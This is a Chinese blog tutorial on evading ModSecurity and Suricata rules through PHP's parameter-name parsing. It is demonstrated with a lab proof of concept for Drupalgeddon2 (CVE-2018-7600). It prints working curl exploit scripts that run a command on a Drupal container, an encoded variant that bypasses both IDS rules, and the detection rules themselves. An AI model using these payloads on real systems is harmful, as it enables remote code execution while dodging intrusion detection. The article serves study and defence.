幸运的是,在ModSecurity中,可以通过正则表达式指定查询字符串中的参数 。
比如:
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"
以上规则将拦截诸如以下的请求:
??/?news[id=1%22+AND+1=1--'??/?news%5bid=1%22+AND+1=1--'??/?news_id%00=1%22+AND+1=1--'
Poc //GTFO 让我们用Suricata和Drupal CMS创建一个以利用CVE-2018-7600(Drupalgeddon2远程执行代码)的简单PoC 。
为了简单起见,我将在两个Docker容器上运行Suricata和Drupal,并尝试绕过Suricata攻击Drupal 。
我将使用两条Suricata防御规则:
1.一条自定义规则拦截form_id=user_register_form对于Drupal,我运行了一个Vulhub容器,你可以在这里下载:
2.另一条是关于CVE-2018-7600的通用规则Suricata官方安装流程点击[这里](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation_-_Personal_Package_Archives_(PPA) 。
文章插图
首先,让我们尝试利用CVE-2018-7600 。一个利用curl命令的小型bash脚本,比如:
#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrApper_format=drupal_ajax"QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
如你所见,上面的脚本将执行命令id:文章插图
现在,让我们尝试往Suricata导入以下两条规则:我编写了第一个规则,它只是尝试form_id=user_register_form在请求体内进行匹配;
Positive Technology /user/register在请求URL和#post_render请求正文中写了第二个匹配项 。
我的规则:
alert http any any -> $HOME_NET any (msg: "Possible Drupalgeddon2 attack";flow: established, to_server;content: "/user/register"; http_uri;content: "POST"; http_method;pcre: "/form_id=user_register_form/Pi";sid: 10002807;rev: 1;)
通用规则:alert http any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)";flow: established, to_server;content: "/user/register"; http_uri;content: "POST"; http_method;content: "drupal"; http_client_body;pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi";reference: cve, 2018-7600;reference: url, research.checkpoint.com/uncovering-drupalgeddon-2;classtype: attempted-admin;reference: url, github.com/ptresearch/AttackDetection;metadata: Open Ptsecurity.com ruleset;sid: 10002808;rev: 2; )
在重启Suricata后,我的攻击被成功报警:可以看到,我们得到了两条日志:
1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080Bypass!
2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
这两条规则其实都很容易绕过 。首先,对于敏感字段form_id=user_register_form,我们可将其替换为如下内容:
form%5bid=user_register_form
如上图所见,现在只有通用规则的警报 。分析通用规则的正则表达式,我们可以看到它对#和%23敏感,但不涉及下划线的编码 。
因此,我们可以使用post%5frender代替post_render来绕过:
最后得出可绕过两个规则的PoC:
#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
作者:周大涛
【利用PHP的字符串解析特性Bypass】
推荐阅读
- 王彬,每件根艺 茶台都是独无二的
- Dubbo框架的一些很好用的点,80%程序员还不知道
- WordPress建站的那些坑,别再踩了
- C 语言和 C++、C# 的区别在什么地方?
- 一些长时间GC停顿问题的排查及解决办法
- Google收录排名网页的四个过程
- 大学|大专生抢走名校高材生的机会,引来围观网友愤怒质疑:你配吗?
- 客厅挂灰色的窗帘好吗,客厅适合什么材质的窗帘
- 阳台花园装修设计技巧
- 电饭煲内胆的价格清单